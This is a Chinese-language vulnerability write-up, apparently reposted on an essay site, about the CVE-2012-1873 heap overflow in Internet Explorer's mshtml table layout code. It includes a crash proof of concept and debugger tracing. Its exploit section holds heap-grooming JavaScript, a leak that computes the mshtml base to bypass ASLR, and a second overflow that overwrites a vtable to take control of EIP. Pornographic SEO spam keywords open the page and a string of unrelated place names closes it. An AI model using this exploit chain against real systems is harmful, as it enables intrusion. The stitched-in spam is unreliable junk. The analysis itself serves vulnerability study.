最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

漏洞分析丨CVE-2012-1873

2023-05-10 19:48 作者:rkvir逆向工程學(xué)院  | 我要投稿

一、漏洞簡述

cve-2012-1873同樣是一個著名的堆溢出漏洞,他是IE6-8中MSHTL.dll中的CTableLayout::CalculateMinMax函數(shù)里,程序在執(zhí)行時會以HTML代碼中的元素span屬性作為循環(huán)控制次數(shù)向堆中寫入數(shù)據(jù)。第一次會優(yōu)先根據(jù)span申請堆空間,當我們增大span的值后,卻不會改變堆空間大小,這樣就可以造成堆溢出。

二、漏洞環(huán)境

系統(tǒng)版本

Win7x86sp1

三、漏洞分析

首先對IE打開頁堆:


然后我們用下面這段POC代碼:

<html>
?<body>
?<table?style="table-layout:fixed"?>
??????? <col?id="132"?width="41"?span="1"?>&nbsp?col>
?table>
?<script>
?
?function over_trigger() {
??????? var obj_col = document.getElementById("132");
??????? obj_col.width = "42765";
??????? obj_col.span = 1000;
?}
?
?setTimeout("over_trigger();",1);
?
?script>
?body>
?html>

這里先對span屬性賦值為1,然后又通過函數(shù)trigger修改為1000,保存后把后綴名改成html。用IE打開,卡在這里,接下來用WIndbg附加:



g起來,讓他走


然后回到IE中,選擇允許運行


然后因為頁堆保護,斷在了溢出位置,mshtml!CTableColCalc::AdjustForCol+0x15:


這里可以看到esi的地址導(dǎo)致溢出,我們查看堆棧,可以看到在mshtml!CTableLayout::CalculateMinMax+0x558的地址調(diào)用了之前那個函數(shù):


所以我們需要在mshtml!CTableLayout::CalculateMinMax函數(shù)下斷點,看看溢出原因是什么,所以重新運行IE,用windbg附加IE,重復(fù)之前的操作,在附加之后對函數(shù)mshtml!CTableLayout::CalculateMinMax下斷點,然后單步調(diào)試查找溢出原因:


隨后go起來,然后允許操作,可以看到,已經(jīng)斷在了我們斷點函數(shù)這里:


在這里我們看一下CTableLayout::CalculateMinMax的函數(shù)聲明:

void?__thiscall CTableLayout::CalculateMinMax(CTableLayout*theTableLayoutobj, LPVOID IpUnknownstackBuffer);

在這里說明一下,CTableLayout * theTableLayoutobj 這個變量是一個指針,他其實是指向table 元素在內(nèi)存中的對象,在后續(xù)跟蹤中就會發(fā)現(xiàn),這里可以先入為主利于理解。
接下來我們單步走:


在這里看箭頭位置,可以看到ebp+8是第一個參數(shù),賦予eax,也就是 theTableLayoutobj 。通過符號,也可以看出確實是引用CTableLayout對象,也就是標簽在內(nèi)存中的對象。再看:


這里ebx+54h的位置是span屬性的值,為1。
接下來我們需要注意CalculateMinMax+170h位置這條指令:


這里取地址ebx+90h給了esi,而此時ebx的值大家可以注意,就是我們table 元素在內(nèi)存中的對象的地址。接下來就是調(diào)用mshtml!CImplAry::EnsureSizeWorker這個函數(shù):


F8進入這個函數(shù),我們看這里,可以看到這里又把ebx+90h的地址給了edi:


繼續(xù)F8走,看箭頭位置,又把edi+0Ch給了esi,所以這里堆的地址是ebx+9c:


確定了堆的地址,我們繼續(xù)確定堆的大小,直接看IDA中偽代碼:


我們跟進去EnsureSizeWorker:


可以看到這里做了判斷,最低是4* 0x1C個空間,span的值是1,所以這里應(yīng)該是0x70大小的堆??臻g。我們回到Windbg中查看一下:


可以看到堆大小確實為0x70。堆地址為:05f08f90。
接下來我們對函數(shù)mshtml!CTableCol::GetAAspan和函數(shù) mshtml!CImplAry::EnsureSizeWorker下斷點,go起來,斷在了GetAAspan上:


這里禁用1號斷點,因為會一直進去,手動跟一次就會發(fā)現(xiàn)第二次跳過了申請堆空間這個操作,誤以為之前申請的已經(jīng)足夠。再次走到GetAAspan函數(shù),這次是為了獲取循環(huán)寫入堆次數(shù)的一次調(diào)用,我們先不討論。再次運行到GetAAspan,gu執(zhí)行完這個函數(shù),可以看到eax的值是3e8,也就是1000,下面有個cmp比較,這里說明span最大不能超過1000:


接下來對堆地址下斷點,然后go起來:


發(fā)現(xiàn)地址寫入的值是414114,在計算器中看一下:


他的值就是我們修改過width* 100的大小。(可以自行試驗,這里取巧)繼續(xù)單步跟進,發(fā)現(xiàn)Inc和cmp:


可以發(fā)現(xiàn)這里拷貝次數(shù)就是span的值,然后通過inc和cmp比較,拷貝,ebp-14是每次加一,和span的值ebp+10h比較,隨后ebp-24h的地方會加1C。隨后我們繼續(xù)走,就可以發(fā)現(xiàn)異常原因了,只有4個1C,但是我們修改span后,循環(huán)1000次寫入1C個大小,導(dǎo)致異常。
總而言之,就是修改完span后,沒有再次申請堆內(nèi)存,導(dǎo)致在寫入樣式信息的時候循環(huán)寫入1000次,在第五次的時候就會發(fā)生溢出,因為第一次申請內(nèi)存是4個1C大小。

四、漏洞利用(有失敗風(fēng)險,很低,如果堆棧布局沒有符合心意,可以重新打開一下)

首先通過x32dbg插件checksec查看漏洞保護,所以介次需要繞過DEP保護和ASLR:


首先我們需要獲取mshtml.dll基址,來繞過ASLR保護。至于怎么獲取,我們這里通過獲取CButtonLayout虛表指針和msgtml.dll的固定偏移來獲取,首先看下面這段代碼,是構(gòu)造堆布局,讓程序在為申請堆空間的時候,落入我們布置的區(qū)域內(nèi),當然記得關(guān)閉頁堆:

<html>?
<body>?
<div?id="test">div>?
<table?style="table-layout:fixed"><col?id="132"?width="41"?span="9">?col>table>?
<meta?http-equiv="content-type"?content="text/html; charset=UTF-8">
<script?language='javascript'>
var leak_index=-1;
var dap= "EEEE";?
while ( dap.length?<?480 ) dap += dap;?
var padding= "AAAA";?
while ( padding.length?<?480) padding += padding;?
var filler = "BBBB";?
while ( filler.length?<?480) filler += filler;
var arr=new Array();
var rra=new Array();
var div_container=document.getElementById("test");
div_container.style.cssText="display:none";
for(var i=0;i<500;i+=2){
rra[i]=dap.substring(0,(0x100-6)/2);
arr[i]=padding.substring(0,(0x100-6)/2);
arr[i+1]=filler.substring(0,(0x100-6)/2);
var obj=document.createElement("button");
div_container.appendChild(obj);
}
for(var i=200;i<500;i+=2){
rra[i]=null;
? CollectGarbage();
}
script>?
body>?
html>

4.1、構(gòu)造堆布局,查看各大塊大小

首先這里的字符串在IE中都是Basic String字符串,包含長度前綴4字節(jié)和2字節(jié)的NULL終止符的Unicode字符串,隨后這里是構(gòu)造倆個數(shù)組,申請以0x100(0x100-6是純字符串,除以二是Unicode編碼,最后會自動加上6字節(jié)的長度前綴和NULL終止符)為大小的堆塊,分別為EEE…,AAA…,BBB…,CButtonLayout(大小為0x108,后續(xù)我們會在堆棧中查看);然后循環(huán)250次,構(gòu)造的堆空間如下


然后會在代碼最后一個for循環(huán)中,從堆塊鏈中間開始,釋放EEEEE…所在的堆塊。至于Span為啥是9,因為我們在分析的時候會知道,分配的堆大小是span值* 0x1C,這里9* 0x1c=FC,是CButtonLayout的大?。ù龝赪indbg中查看)。
接下來就是使用前面這段代碼,改后綴為html,雙擊打開,使用windbg附加,先對mshtml!CTableLayout::CalculateMinMax下斷點,然后go起來,直到斷點斷在mshtml!CTableLayout::CalculateMinMax函數(shù)上面:


然后對申請空間 mshtml!CImplAry::EnsureSizeWorker函數(shù)下斷點,go起來,卡到這個斷點,再gu執(zhí)行到返回:


之前我們分析的時候就知道這里ebx+0x9c是分配的堆棧地址,我們查看一下:


可以看到,申請的堆塊里面的內(nèi)容就是EEE…,也就是我們的堆布局完成了,接下來看看CButtonLayout大?。?/p>


可以看到CButtonLayout的Size=0x21* 8=0x108字節(jié)。UserSize=0xFC,但因為內(nèi)存對齊關(guān)系,實際大小為0x108字節(jié)。接下來查找大小100h的塊,使用!heap -flt s 100,再隨便找個地址使用!heap -p -a 0x056bea68查看:

可以看到堆塊是21h* 8 =108h,用戶大小是100h。

隨后我們看一下CButtonLayout虛函數(shù)地址(x mshtml!CButtonLayout:?),可以看到虛函數(shù)地址在BBBB…堆塊之后:


4.2、第一次溢出

這次我們需要加上修改span的代碼,如下:

var leak_col = document.getElementById("132");
??? leak_col.width = "41";
??? leak_col.span = "19";

簡單計算一下,19* 1ch=214h。214h-108h* 2=4字節(jié)(108h是100堆大小+8h字節(jié)頭信息),所以這里會覆蓋BBB堆塊前四個字節(jié);接下來使用新的POC驗證一下,還是先下mshtml!CTableLayout::CalculateMinMax斷點,斷在這里在下mshtml!CTableLayout::CalculateMinMax,隨后gu走出申請空間函數(shù),這里ebx+9Ch就是申請的堆塊地址:


我們從堆塊后面BBB堆塊那里截圖看一下:


接下來取消所有斷點,直接走,讓他溢出:


可以看到成功溢出到,覆蓋到BBB堆塊前四個字節(jié)。修改完BBB塊的長度,在讀取這個串的時候就可以訪問到后面的虛函數(shù)地址。

4.3、獲取虛函數(shù)地址得到MSHTML.DLL基址

再次找到虛函數(shù)地址0x64fc84f8:


接下來找mshtml基址(lmm mshtml)0x64e70000:


倆者相差0x64fc84f8-0x64e70000=0x1584F8(系統(tǒng)版本不同偏移不同)。
接下來就是獲取mshtml基址:

function?over_trigger(){
???
????var?leak_addr=-1;
????for(var?i=0;i<500;i++){
????if(arr[i].length>(0x100-6)/2){
??? leak_index=i;
????var?leak=arr[i].substring((0x100-6)/2+(2+8)/2,(0x100-6)/2+(2+8+4)/2);
??? leak_addr=parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16),16);
????alert("CButtonLayout:0x"+leak_addr.toString(16));
????var?mshtmlbase=leak_addr-0x1584F8;
????alert("mshtml:0x"+mshtmlbase.toString(16));
????break;
??? }
??? }??
??? }
????setTimeout(function(){over_trigger()},?450);?

這里因為修改了BBB堆的字符長度,所以這里判斷這個串是不是很長,確定是我們溢出的BBB串,按照字節(jié)讀取到虛函數(shù)地址,便于查看我們打印出來驗證,根據(jù)相同步驟獲取到虛函數(shù)地址那里:


然后看看mshtml基址:


隨后取消所有斷點,go起來:




獲取成功。

4.4、第二次溢出覆蓋虛函數(shù)地址

是這段代碼:

function?trigger_overflow() {?
????var?evil_col?=?document.getElementById("132");
??? evil_col.width?=?"1178993";
??? evil_col.span?=?"44";
}
????setTimeout(function(){trigger_overflow()},?1000);?

為了嚴謹,我們還是測試一下,前面步驟一樣,直接看效果圖:


可以看到虛函數(shù)地址被覆蓋為0x07070024(1178993* 100 = 0x07070024),
我們對“ba r4 07070048“下斷點 繼續(xù)go的話:



可以看到eax=我們構(gòu)造的地址,而當前函數(shù)流程EIP=07070024+24h的地方:


漏洞分析丨CVE-2012-1873的評論 (共 條)

分享到微博請遵守國家法律
杂多县| 界首市| 屯昌县| 株洲县| 和田县| 松溪县| 安岳县| 德保县| 汤原县| 沿河| 普安县| 万年县| 和平区| 和龙市| 双柏县| 阆中市| 滦平县| 长春市| 泉州市| 油尖旺区| 怀化市| 安福县| 凌源市| 岳阳县| 湾仔区| 中西区| 临朐县| 浑源县| 广丰县| 绥阳县| 乌恰县| 泗阳县| 靖州| 富顺县| 蚌埠市| 历史| 芜湖县| 常宁市| 武川县| 涞源县| 夏津县|